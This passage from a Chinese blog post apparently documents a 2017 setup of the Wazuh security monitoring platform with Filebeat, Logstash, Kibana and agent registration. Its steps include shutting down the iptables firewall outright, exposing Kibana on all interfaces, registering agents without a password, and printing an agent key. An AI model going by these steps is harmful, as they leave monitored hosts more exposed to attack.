class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# yum -y install openssh-clients</span><br><span class="line">已加载插件：fastestmirror</span><br><span class="line">设置安装进程</span><br><span class="line">Loading mirror speeds from cached hostfile</span><br><span class="line"> * base: mirrors.aliyun.com</span><br><span class="line"> * extras: mirrors.aliyun.com</span><br><span class="line"> * updates: mirrors.aliyun.com</span><br><span class="line">解决依赖关系</span><br><span class="line">--&gt; 执行事务检查</span><br><span class="line">---&gt; Package openssh-clients.x86_64 0:5.3p1-122.el6 will be 安装</span><br><span class="line">--&gt; 处理依赖关系 openssh = 5.3p1-122.el6，它被软件包 openssh-clients-5.3p1-122.el6.x86_64 需要</span><br><span class="line">--&gt; 处理依赖关系 libedit.so.0()(64bit)，它被软件包 openssh-clients-5.3p1-122.el6.x86_64 需要</span><br><span class="line">--&gt; 执行事务检查</span><br><span class="line">---&gt; Package libedit.x86_64 0:2.11-4.20080712cvs.1.el6 will be 安装</span><br><span class="line">---&gt; Package openssh.x86_64 0:5.3p1-111.el6 will be 升级</span><br><span class="line">--&gt; 处理依赖关系 openssh = 5.3p1-111.el6，它被软件包 openssh-server-5.3p1-111.el6.x86_64 需要</span><br><span class="line">---&gt; Package openssh.x86_64 0:5.3p1-122.el6 will be an update</span><br><span class="line">--&gt; 执行事务检查</span><br><span class="line">---&gt; Package openssh-server.x86_64 0:5.3p1-111.el6 will be 升级</span><br><span class="line">---&gt; Package openssh-server.x86_64 0:5.3p1-122.el6 will be an update</span><br><span class="line">--&gt; 完成依赖关系计算</span><br><span class="line"></span><br><span class="line">依赖关系解决</span><br><span class="line"></span><br><span class="line">================================================================================================================================================</span><br><span class="line"> 软件包                               架构                        版本                                          仓库                       大小</span><br><span class="line">================================================================================================================================================</span><br><span class="line">正在安装:</span><br><span class="line"> openssh-clients                      x86_64                      5.3p1-122.el6                                 base                      443 k</span><br><span class="line">为依赖而安装:</span><br><span class="line"> libedit                              x86_64                      2.11-4.20080712cvs.1.el6                      base                       74 k</span><br><span class="line">为依赖而更新:</span><br><span class="line"> openssh                              x86_64                      5.3p1-122.el6                                 base                      277 k</span><br><span class="line"> openssh-server                       x86_64                      5.3p1-122.el6                                 base                      329 k</span><br><span class="line"></span><br><span class="line">事务概要</span><br><span class="line">================================================================================================================================================</span><br><span class="line">Install       2 Package(s)</span><br><span class="line">Upgrade       2 Package(s)</span><br><span class="line"></span><br><span class="line">总下载量：1.1 M</span><br><span class="line">下载软件包：</span><br><span class="line">(1/4): libedit-2.11-4.20080712cvs.1.el6.x86_64.rpm                                                                       |  74 kB     00:00     </span><br><span class="line">(2/4): openssh-5.3p1-122.el6.x86_64.rpm                                                                                  | 277 kB     00:00     </span><br><span class="line">(3/4): openssh-clients-5.3p1-122.el6.x86_64.rpm                                                                          | 443 kB     00:00     </span><br><span class="line">(4/4): openssh-server-5.3p1-122.el6.x86_64.rpm                                                                           | 329 kB     00:00     </span><br><span class="line">------------------------------------------------------------------------------------------------------------------------------------------------</span><br><span class="line">总计                                                                                                            414 kB/s | 1.1 MB     00:02     </span><br><span class="line">运行 rpm_check_debug </span><br><span class="line">执行事务测试</span><br><span class="line">事务测试成功</span><br><span class="line">执行事务</span><br><span class="line">  正在升级   : openssh-5.3p1-122.el6.x86_64                                                                                                 1/6 </span><br><span class="line">  正在安装   : libedit-2.11-4.20080712cvs.1.el6.x86_64                                                                                      2/6 </span><br><span class="line">  正在安装   : openssh-clients-5.3p1-122.el6.x86_64                                                                                         3/6 </span><br><span class="line">  正在升级   : openssh-server-5.3p1-122.el6.x86_64                                                                                          4/6 </span><br><span class="line">  清理       : openssh-server-5.3p1-111.el6.x86_64                                                                                          5/6 </span><br><span class="line">  清理       : openssh-5.3p1-111.el6.x86_64                                                                                                 6/6 </span><br><span class="line">  Verifying  : openssh-server-5.3p1-122.el6.x86_64                                                                                          1/6 </span><br><span class="line">  Verifying  : libedit-2.11-4.20080712cvs.1.el6.x86_64                                                                                      2/6 </span><br><span class="line">  Verifying  : openssh-5.3p1-122.el6.x86_64                                                                                                 3/6 </span><br><span class="line">  Verifying  : openssh-clients-5.3p1-122.el6.x86_64                                                                                         4/6 </span><br><span class="line">  Verifying  : openssh-5.3p1-111.el6.x86_64                                                                                                 5/6 </span><br><span class="line">  Verifying  : openssh-server-5.3p1-111.el6.x86_64                                                                                          6/6 </span><br><span class="line"></span><br><span class="line">已安装:</span><br><span class="line">  openssh-clients.x86_64 0:5.3p1-122.el6                                                                                                        </span><br><span class="line"></span><br><span class="line">作为依赖被安装:</span><br><span class="line">  libedit.x86_64 0:2.11-4.20080712cvs.1.el6                                                                                                     </span><br><span class="line"></span><br><span class="line">作为依赖被升级:</span><br><span class="line">  openssh.x86_64 0:5.3p1-122.el6                                      openssh-server.x86_64 0:5.3p1-122.el6                                     </span><br><span class="line"></span><br><span class="line">完毕！</span><br></pre></td></tr></table></figure><p>以下内容在filebeat服务端，也就是wazuh server上执行。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# scp root@192.168.106.43:/etc/logstash/logstash.crt /etc/filebeat</span><br><span class="line">root@192.168.106.43&apos;s password: </span><br><span class="line">logstash.crt</span><br></pre></td></tr></table></figure><p>vi /etc/filebeat/filebeat.yml<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">修改</span><br><span class="line">output:</span><br><span class="line"> logstash:</span><br><span class="line">   # The Logstash hosts</span><br><span class="line">   hosts: [&quot;192.168.106.43:5000&quot;]</span><br><span class="line">#   ssl:</span><br><span class="line">#     certificate_authorities: [&quot;/etc/filebeat/logstash.crt&quot;]</span><br><span class="line"></span><br><span class="line">变成</span><br><span class="line">output:</span><br><span class="line"> logstash:</span><br><span class="line">   hosts: [&quot;192.168.106.43:5000&quot;]</span><br><span class="line">   ssl:</span><br><span class="line">     certificate_authorities: [&quot;/etc/filebeat/logstash.crt&quot;]</span><br></pre></td></tr></table></figure></p><p>重新启动filebeat</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# service filebeat restart</span><br><span class="line">2017/08/23 03:36:41.485699 beat.go:285: INFO Home path: [/usr/share/filebeat] Config path: [/etc/filebeat] Data path: [/var/lib/filebeat] Logs path: [/var/log/filebeat]</span><br><span class="line">2017/08/23 03:36:41.485822 beat.go:186: INFO Setup Beat: filebeat; Version: 5.5.1</span><br><span class="line">2017/08/23 03:36:41.485956 metrics.go:23: INFO Metrics logging every 30s</span><br><span class="line">2017/08/23 03:36:41.488062 logstash.go:90: INFO Max Retries set to: 3</span><br><span class="line">2017/08/23 03:36:41.488281 outputs.go:108: INFO Activated logstash as output plugin.</span><br><span class="line">2017/08/23 03:36:41.489904 publish.go:295: INFO Publisher name: localhost.localdomain</span><br><span class="line">2017/08/23 03:36:41.508442 async.go:63: INFO Flush Interval set to: 1s</span><br><span class="line">2017/08/23 03:36:41.508504 async.go:64: INFO Max Bulk Size set to: 2048</span><br><span class="line">Config OK</span><br><span class="line">Stopping filebeat:                                         [确定]</span><br><span class="line">Starting filebeat: 2017/08/23 03:36:41.654868 beat.go:285: INFO Home path: [/usr/share/filebeat] Config path: [/etc/filebeat] Data path: [/var/lib/filebeat] Logs path: [/var/log/filebeat]</span><br><span class="line">2017/08/23 03:36:41.654971 beat.go:186: INFO Setup Beat: filebeat; Version: 5.5.1</span><br><span class="line">2017/08/23 03:36:41.655207 metrics.go:23: INFO Metrics logging every 30s</span><br><span class="line">2017/08/23 03:36:41.656127 logstash.go:90: INFO Max Retries set to: 3</span><br><span class="line">2017/08/23 03:36:41.656311 outputs.go:108: INFO Activated logstash as output plugin.</span><br><span class="line">2017/08/23 03:36:41.656522 publish.go:295: INFO Publisher name: localhost.localdomain</span><br><span class="line">2017/08/23 03:36:41.657083 async.go:63: INFO Flush Interval set to: 1s</span><br><span class="line">2017/08/23 03:36:41.657125 async.go:64: INFO Max Bulk Size set to: 2048</span><br><span class="line">Config OK</span><br><span class="line">                                                           [确定]</span><br></pre></td></tr></table></figure><h3 id="安装Kibana"><a href="#安装Kibana" class="headerlink" title="安装Kibana"></a>安装Kibana</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# yum install kibana</span><br><span class="line">已加载插件：fastestmirror</span><br><span class="line">设置安装进程</span><br><span class="line">Loading mirror speeds from cached hostfile</span><br><span class="line"> * base: mirror.bit.edu.cn</span><br><span class="line"> * extras: mirror.bit.edu.cn</span><br><span class="line"> * updates: mirror.bit.edu.cn</span><br><span class="line">解决依赖关系</span><br><span class="line">--&gt; 执行事务检查</span><br><span class="line">---&gt; Package kibana.x86_64 0:5.5.2-1 will be 安装</span><br><span class="line">--&gt; 完成依赖关系计算</span><br><span class="line"></span><br><span class="line">依赖关系解决</span><br><span class="line"></span><br><span class="line">================================================================================================================================================</span><br><span class="line"> 软件包                          架构                            版本                                仓库                                  大小</span><br><span class="line">================================================================================================================================================</span><br><span class="line">正在安装:</span><br><span class="line"> kibana                          x86_64                          5.5.2-1                             elastic-5.x                           50 M</span><br><span class="line"></span><br><span class="line">事务概要</span><br><span class="line">================================================================================================================================================</span><br><span class="line">Install       1 Package(s)</span><br><span class="line"></span><br><span class="line">总下载量：50 M</span><br><span class="line">Installed size: 191 M</span><br><span class="line">确定吗？[y/N]：y</span><br><span class="line">下载软件包：</span><br><span class="line">kibana-5.5.2-x86_64.rpm                                                                                                  |  50 MB     16:47     </span><br><span class="line">运行 rpm_check_debug </span><br><span class="line">执行事务测试</span><br><span class="line">事务测试成功</span><br><span class="line">执行事务</span><br><span class="line">  正在安装   : kibana-5.5.2-1.x86_64                                                                                                        1/1 </span><br><span class="line">  Verifying  : kibana-5.5.2-1.x86_64                                                                                                        1/1 </span><br><span class="line"></span><br><span class="line">已安装:</span><br><span class="line">  kibana.x86_64 0:5.5.2-1                                                                                                                       </span><br><span class="line"></span><br><span class="line">完毕！</span><br><span class="line">[root@localhost opt]# /usr/share/kibana/bin/kibana-plugin install https://packages.wazuh.com/wazuhapp/wazuhapp.zip</span><br><span class="line">Attempting to transfer from https://packages.wazuh.com/wazuhapp/wazuhapp.zip</span><br><span class="line">Transferring 24560704 bytes....................</span><br><span class="line">Transfer complete</span><br><span class="line">Retrieving metadata from plugin archive</span><br><span class="line">Extracting plugin archive</span><br><span class="line">Extraction complete</span><br><span class="line">Optimizing and caching browser bundles...</span><br><span class="line">Plugin installation complete</span><br></pre></td></tr></table></figure><p>vi /etc/kibana/kibana.yml<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">把</span><br><span class="line">#server.host: &quot;localhost&quot;</span><br><span class="line"></span><br><span class="line">改成</span><br><span class="line">server.host: &quot;0.0.0.0&quot;</span><br></pre></td></tr></table></figure></p><blockquote><p>It is recommended to set up an Nginx proxy for Kibana in order to use SSL encryption and to enable authentication. Instructions to set the proxy up can be found at Setting up SSL and authentication for Kibana.<a href="https://documentation.wazuh.com/current/installation-guide/optional-configurations/kibana_ssl.html#kibana-ssl" target="_blank" rel="noopener">https://documentation.wazuh.com/current/installation-guide/optional-configurations/kibana_ssl.html#kibana-ssl</a></p></blockquote><p>重启kibana<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# chkconfig --add kibana</span><br><span class="line">[root@localhost opt]# service kibana start</span><br><span class="line">kibana started</span><br></pre></td></tr></table></figure></p><h3 id="通过API连接Wazuh-App"><a href="#通过API连接Wazuh-App" class="headerlink" title="通过API连接Wazuh App"></a>通过API连接Wazuh App</h3><p>通过192.168.106.43:5601访问 Kibana，无法访问，查看本地端口已经监听在0.0.0.0:5601，所以关闭防火墙。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost opt]# netstat -ntlp</span><br><span class="line">Active Internet connections (only servers)</span><br><span class="line">Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   </span><br><span class="line">tcp        0      0 0.0.0.0:5601                0.0.0.0:*                   LISTEN      27473/node          </span><br><span class="line">tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      27360/sshd          </span><br><span class="line">tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      5748/master         </span><br><span class="line">tcp        0      0 ::ffff:127.0.0.1:9200       :::*                        LISTEN      26585/java          </span><br><span class="line">tcp        0      0 ::1:9200                    :::*                        LISTEN      26585/java          </span><br><span class="line">tcp        0      0 ::ffff:127.0.0.1:9300       :::*                        LISTEN      26585/java          </span><br><span class="line">tcp        0      0 ::1:9300                    :::*                        LISTEN      26585/java          </span><br><span class="line">tcp        0      0 :::22                       :::*                        LISTEN      27360/sshd          </span><br><span class="line">tcp        0      0 ::1:25                      :::*                        LISTEN      5748/master         </span><br><span class="line">[root@localhost opt]# iptables -L</span><br><span class="line">Chain INPUT (policy ACCEPT)</span><br><span class="line">target     prot opt source               destination         </span><br><span class="line">ACCEPT     all  --  anywhere             anywhere            state RELATED,ESTABLISHED </span><br><span class="line">ACCEPT     icmp --  anywhere             anywhere            </span><br><span class="line">ACCEPT     all  --  anywhere             anywhere            </span><br><span class="line">ACCEPT     tcp  --  anywhere             anywhere            state NEW tcp dpt:ssh </span><br><span class="line">REJECT     all  --  anywhere             anywhere            reject-with icmp-host-prohibited </span><br><span class="line"></span><br><span class="line">Chain FORWARD (policy ACCEPT)</span><br><span class="line">target     prot opt source               destination         </span><br><span class="line">REJECT     all  --  anywhere             anywhere            reject-with icmp-host-prohibited </span><br><span class="line"></span><br><span class="line">Chain OUTPUT (policy ACCEPT)</span><br><span class="line">target     prot opt source               destination         </span><br><span class="line">[root@localhost opt]# service iptables stop</span><br><span class="line">iptables：将链设置为政策 ACCEPT：filter                    [确定]</span><br><span class="line">iptables：清除防火墙规则：                                 [确定]</span><br><span class="line">iptables：正在卸载模块：                                   [确定]</span><br></pre></td></tr></table></figure><ul><li><p>访问界面<br><img src="/2017/08/24/WAZUH/kibana-1.jpg" alt="kibana默认首页"></p></li><li><p>点击”Wazuh”按钮<br><img src="/2017/08/24/WAZUH/kibana-2.jpg" alt="kibana Wazuh按钮"></p></li><li><p>点击”ADD NEW API”<br><img src="/2017/08/24/WAZUH/kibana-3.jpg" alt="kibana add new api"></p></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">Welcome to the Wazuh App for Kibana 5</span><br><span class="line">The Wazuh App brings together a new and useful web interface for managing and monitoring your Wazuh infrastructure. You can check agent status, alert evolution, most recent events, popular alerts, top alert groups, etc. You can also display configuration and logs of the manager.</span><br><span class="line"></span><br><span class="line">In addition, make use of any or all of these extensions:</span><br><span class="line"></span><br><span class="line">Linux Audit system integration.</span><br><span class="line">PCI DSS Compliance.</span><br><span class="line">OpenSCAP security compliance and vulnerability assessments.</span><br><span class="line">The app joins Wazuh features like: Log management and analysis, file integrity monitoring, intrusion and anomaly detection and policy and compliance monitoring.</span><br><span class="line"></span><br><span class="line">Help us to improve this app. We would appreciate your feedback. Collaborate with us on the Mailing Lists and/or the Wazuh App Github repository</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Please enter your Wazuh RESTful API credentials at the form below to begin.</span><br></pre></td></tr></table></figure><p>请看上面的介绍，Wazuh主要的功能特性和扩展。新版本在上方的导航将api、扩展、关于分3个页面。</p><ul><li>添加api之前准备工作</li></ul><p>在填用户名、密码、url、端口之前，要先到Wazuh server主机上，使用命令生成非默认的认证来保护Wazuh API。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# cd /var/ossec/api/configuration/auth/</span><br><span class="line">[root@localhost auth]# ls</span><br><span class="line">htpasswd  user</span><br><span class="line">[root@localhost auth]# sudo node htpasswd -c user wazuh-api</span><br><span class="line">New password: </span><br><span class="line">Re-type new password: </span><br><span class="line">Adding password for user wazuh-api.</span><br><span class="line">[root@localhost auth]# ll</span><br><span class="line">总用量 4</span><br><span class="line">lrwxrwxrwx. 1 root root 49 8月   1 15:12 htpasswd -&gt; /var/ossec/api/node_modules/htpasswd/bin/htpasswd</span><br><span class="line">-rwxr-x---. 1 root root 48 8月  23 17:47 user</span><br><span class="line">[root@localhost auth]# service wazuh-api restart</span><br><span class="line">WAZUH-API stopped.</span><br><span class="line">WAZUH-API started.</span><br></pre></td></tr></table></figure><p>可以先访问一下web，看认证是否成功<br><img src="/2017/08/24/WAZUH/wazuh-api-credentials.jpg" alt="wazuh-api-credentials"></p><ul><li>填入api字段-提示错误<br><img src="/2017/08/24/WAZUH/wazuh-add-api-error.jpg" alt="wazuh-add-api-error"></li></ul><p>官方的邮件列表解释了这个bug：<br><a href="https://groups.google.com/forum/#!msg/wazuh/kBVoD-X7xX4/vpDOHjKhCQAJ" target="_blank" rel="noopener">https://groups.google.com/forum/#!msg/wazuh/kBVoD-X7xX4/vpDOHjKhCQAJ</a></p><ul><li>解决v2.0的bug</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">yum upgrade wazuh-manager</span><br><span class="line">yum upgrade wazuh-api</span><br></pre></td></tr></table></figure><p>官方列表里的讨论在版本比对时逻辑有错误等，在新版本中修复，升级就可以了。<br><img src="/2017/08/24/WAZUH/wazuh-api-add-success.jpg" alt="wazuh-api-add-success"></p><h2 id="安装agent"><a href="#安装agent" class="headerlink" title="安装agent"></a>安装agent</h2><p>这个就很简单了：<br><a href="https://documentation.wazuh.com/current/installation-guide/installing-wazuh-agent/index.html" target="_blank" rel="noopener">https://documentation.wazuh.com/current/installation-guide/installing-wazuh-agent/index.html</a></p><h2 id="注册agent"><a href="#注册agent" class="headerlink" title="注册agent"></a>注册agent</h2><h3 id="Manager的server端"><a href="#Manager的server端" class="headerlink" title="Manager的server端"></a>Manager的server端</h3><ul><li>ssl认证</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost db]# openssl req -x509 -batch -nodes -days 365 -newkey rsa:2048 -keyout /var/ossec/etc/sslmanager.key -out /var/ossec/etc/sslmanager.cert</span><br><span class="line">Generating a 2048 bit RSA private key</span><br><span class="line">...............................+++</span><br><span class="line">.........+++</span><br><span class="line">writing new private key to &apos;/var/ossec/etc/sslmanager.key&apos;</span><br><span class="line">-----</span><br></pre></td></tr></table></figure><ul><li>开启ossec-authd服务</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost db]# /var/ossec/bin/</span><br><span class="line">agent_control       ossec-analysisd     ossec-execd         ossec-luac          ossec-remoted       syscheck_update     </span><br><span class="line">clear_stats         ossec-authd         ossec-integratord   ossec-maild         ossec-reportd       update_ruleset.py   </span><br><span class="line">list_agents         ossec-control       ossec-logcollector  ossec-makelists     ossec-syscheckd     util.sh             </span><br><span class="line">manage_agents       ossec-csyslogd      ossec-logtest       ossec-monitord      rootcheck_control   verify-agent-conf   </span><br><span class="line">ossec-agentlessd    ossec-dbd           ossec-lua           ossec-regex         syscheck_control    wazuh-modulesd      </span><br><span class="line">[root@localhost db]# /var/ossec/bin/ossec-authd</span><br><span class="line">[root@localhost db]#</span><br></pre></td></tr></table></figure><h3 id="agent-auth客户端"><a href="#agent-auth客户端" class="headerlink" title="agent-auth客户端"></a>agent-auth客户端</h3><ul><li>客户端注册服务端ip</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# /var/ossec/bin/agent-auth -m 192.168.106.42</span><br><span class="line">2017/08/28 14:54:58 agent-auth: INFO: Started (pid: 6235).</span><br><span class="line">WARN: No authentication password provided.</span><br><span class="line">INFO: Connected to 192.168.106.42:1515</span><br><span class="line">INFO: Using agent name as: localhost.localdomain</span><br><span class="line">INFO: Send request to manager. Waiting for reply.</span><br><span class="line">INFO: Received response with agent key</span><br><span class="line">INFO: Valid key created. Finished.</span><br><span class="line">INFO: Connection closed.</span><br></pre></td></tr></table></figure><h3 id="查看是否成功"><a href="#查看是否成功" class="headerlink" title="查看是否成功"></a>查看是否成功</h3><ul><li>server 端</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost db]# cat /var/ossec/etc/client.keys</span><br><span class="line">001 localhost.localdomain any 5e7168616c858ef0d9a8c1737359825e72c17bf3a9575ed9f696e4b30masaike</span><br><span class="line">[root@localhost db]# /var/ossec/bin/agent_control -l</span><br></pre></td></tr></table></figure><ul><li>agent 端</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# cat /var/ossec/etc/client.keys</span><br><span class="line">001 localhost.localdomain any 5e7168616c858ef0d9a8c1737359825e72c17bf3a9575ed9f696e4b30masaike</span><br></pre></td></tr></table></figure><h3 id="连接到服务端Manager"><a href="#连接到服务端Manager" class="headerlink" title="连接到服务端Manager"></a>连接到服务端Manager</h3><ul><li>/var/ossec/etc/ossec.conf</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">把</span><br><span class="line">&lt;ossec_config&gt;</span><br><span class="line">  &lt;client&gt;</span><br><span class="line">    &lt;server-ip&gt;MANAGER_IP&lt;/server-ip&gt;</span><br><span class="line">    &lt;config-profile&gt;centos, centos6&lt;/config-profile&gt;</span><br><span class="line">    &lt;protocol&gt;udp&lt;/protocol&gt;</span><br><span class="line">  &lt;/client&gt;</span><br><span class="line">改成</span><br><span class="line">&lt;ossec_config&gt;</span><br><span class="line">  &lt;client&gt;</span><br><span class="line">    &lt;server-ip&gt;192.168.106.42&lt;/server-ip&gt;</span><br><span class="line">    &lt;config-profile&gt;centos, centos6&lt;/config-profile&gt;</span><br><span class="line">    &lt;protocol&gt;udp&lt;/protocol&gt;</span><br><span class="line">  &lt;/client&gt;</span><br></pre></td></tr></table></figure><ul><li>启动（重启）wazuh-agent</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# service wazuh-agent start</span><br><span class="line">Starting OSSEC: 2017/08/28 15:19:09 ossec-agentd: INFO: Using notify time: 600 and max time to reconnect: 1800</span><br><span class="line">                                                           [  OK  ]</span><br></pre></td></tr></table></figure><p>但是你会看到wazuh面板agents管理上，显示的连接过来的机器ip写的是any。因为<br>/var/ossec/bin/ossec-authd默认启动后，将注册any为连接ip，在服务端kill掉ossec-authd进程，然后<br>/var/ossec/bin/ossec-authd -i启动。在server端通过<br>/var/ossec/bin/manage_agents，删除已经注册的agent；在agent端删除<br>/var/ossec/etc/client.keys里的内容记录，重新<br>/var/ossec/bin/agent-auth -m 192.168.106.42注册，重启agent。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;WAZUH架构图&quot;&gt;&lt;a href=&quot;#WAZUH架构图&quot; class=&quot;headerlink&quot; title=&quot;WAZUH架构图&quot;&gt;&lt;/a&gt;WAZUH架构图&lt;/h2&gt;&lt;h3 id=&quot;分布式&quot;&gt;&lt;a href=&quot;#分布式&quot; class=&quot;headerlink&quot; ti
      
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="甲方安全" scheme="http://pirogue.org/tags/%E7%94%B2%E6%96%B9%E5%AE%89%E5%85%A8/"/>
    
      <category term="信息安全" scheme="http://pirogue.org/tags/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
      <category term="安全监控" scheme="http://pirogue.org/tags/%E5%AE%89%E5%85%A8%E7%9B%91%E6%8E%A7/"/>
    
      <category term="Wazuh" scheme="http://pirogue.org/tags/Wazuh/"/>
    
      <category term="ELK" scheme="http://pirogue.org/tags/ELK/"/>
    
  </entry>
  
  <entry>
    <title>反弹shell监控</title>
    <link href="http://pirogue.org/2017/07/25/reverse-shell/"/>
    <id>http://pirogue.org/2017/07/25/reverse-shell/</id>
    <published>2017-07-25T08:28:06.000Z</published>
